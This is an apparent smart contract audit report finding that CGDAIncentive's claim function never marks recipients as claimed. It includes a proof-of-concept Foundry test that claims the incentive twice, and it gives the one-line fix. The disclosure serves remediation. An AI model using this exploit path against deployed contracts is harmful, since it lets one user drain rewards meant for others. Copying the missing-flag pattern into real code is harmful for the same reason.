Brave Watermelon Peacock

Medium

# CGDAIncentive can be claimed more than once

### Summary

Inside `CGDAIncentive.sol::claim()` it checks if it can be claimed `if (!_isClaimable(claimTarget)) revert NotClaimable();`.

```solidity
function _isClaimable(address recipient_) internal view returns (bool) {
    uint256 reward = currentReward();
    return reward > 0 && asset.balanceOf(address(this)) >= reward && !claimed[recipient_];
}
```

It checks with `!claimed[recipient_]`, but it is never set to `claimed` after the claim.
It can result that a user can multiple claim different assets if the action is NFT for example, but intented behaviour is to claim 1.

### Root Cause
[root cause](https://github.com/sherlock-audit/2024-06-boost-aa-wallet/blob/main/boost-protocol/packages/evm/contracts/incentives/CGDAIncentive.sol#L85-#L100)

It should be making `claimed[claimTarget] = true` inside the function.

### Internal pre-conditions

1. Call `BoostCore.sol::claimIncentive()` with the correct calldata.
2. Claim more than once from the CGDAIncentive.

### External pre-conditions

_No response_

### Attack Path

1. Call `BoostCore.sol::claimIncentive()` with the correct calldata.
2. Claim more than once from the CGDAIncentive.

### Impact

The impact is that one user can claim more than once, but the intended behaviour is to claim once per user.
It's also bad experience for other users.

### PoC

Place the following functions inside `test/BoostCore.t.sol`

Add this import `import {CGDAIncentive} from "contracts/incentives/CGDAIncentive.sol";`

```solidity
function testClaimCGDAIncentiveTwice() public {
    // Create a Boost first
    bytes memory callData = LibZip.cdCompress(
        abi.encode(
            BoostCore.InitPayload({
                budget: budget,
                action: action,
                validator: BoostLib.Target({isBase: true, instance: address(0), parameters: ""}),
                allowList: allowList,
                incentives: _makeCGDAIncentive(),
                protocolFee: 500, // 5%
                referralFee: 1000, // 10%
                maxParticipants: 10_000,
                owner: address(1)
            })
        )
    );

    boostCore.createBoost(callData);

    // Prepare the data payload for validation
    uint256 tokenId = 1;
    uint256 tokenIdTwo = 2;
    mockERC721.mint{value: 0.1 ether}(address(this));
    mockERC721.mint{value: 0.1 ether}(address(this));
    mockERC721.mint{value: 0.1 ether}(address(this));

    // Prepare the data payload for validation
    bytes memory data = abi.encode(address(this), abi.encode(tokenId));
    bytes memory data2 = abi.encode(address(this), abi.encode(tokenIdTwo));

    // Claim the incentive
    boostCore.claimIncentive{value: 0.000075 ether}(0, 0, address(0), data);
    boostCore.claimIncentive{value: 0.000075 ether}(0, 0, address(0), data2);

    // Check the claims
    BoostLib.Boost memory boost = boostCore.getBoost(0);
    CGDAIncentive _incentive = CGDAIncentive(address(boost.incentives[0]));
    assertEq(_incentive.claims(), 2);
}

function _makeCGDAIncentive() internal returns (BoostLib.Target[] memory) {
    BoostLib.Target[] memory incentive = new BoostLib.Target[](1);

    incentive[0] = BoostLib.Target({
        isBase: true,
        instance: address(new CGDAIncentive()),
        parameters: abi.encode(
            CGDAIncentive.InitPayload({
                asset: address(mockERC20),
                initialReward: 10 ether,
                rewardDecay: 1 ether,
                rewardBoost: 1 ether,
                totalBudget: 100 ether
            })
        )
    });

    return incentive;
}
```

### Mitigation

Add `claimed[claimTarget] = true`.
This will mitigate the issue.

```diff
function claim(address claimTarget, bytes calldata) external virtual override onlyOwner returns (bool) {
    if (!_isClaimable(claimTarget)) revert NotClaimable();
    claims++;
+   claimed[claimTarget] = true;

    // Calculate the current reward and update the state
    uint256 reward = currentReward();
    cgdaParams.lastClaimTime = block.timestamp;
    cgdaParams.currentReward =
        reward > cgdaParams.rewardDecay ? reward - cgdaParams.rewardDecay : cgdaParams.rewardDecay;

    // Transfer the reward to the recipient
    asset.safeTransfer(claimTarget, reward);

    emit Claimed(claimTarget, abi.encodePacked(asset, claimTarget, reward));
    return true;
}
```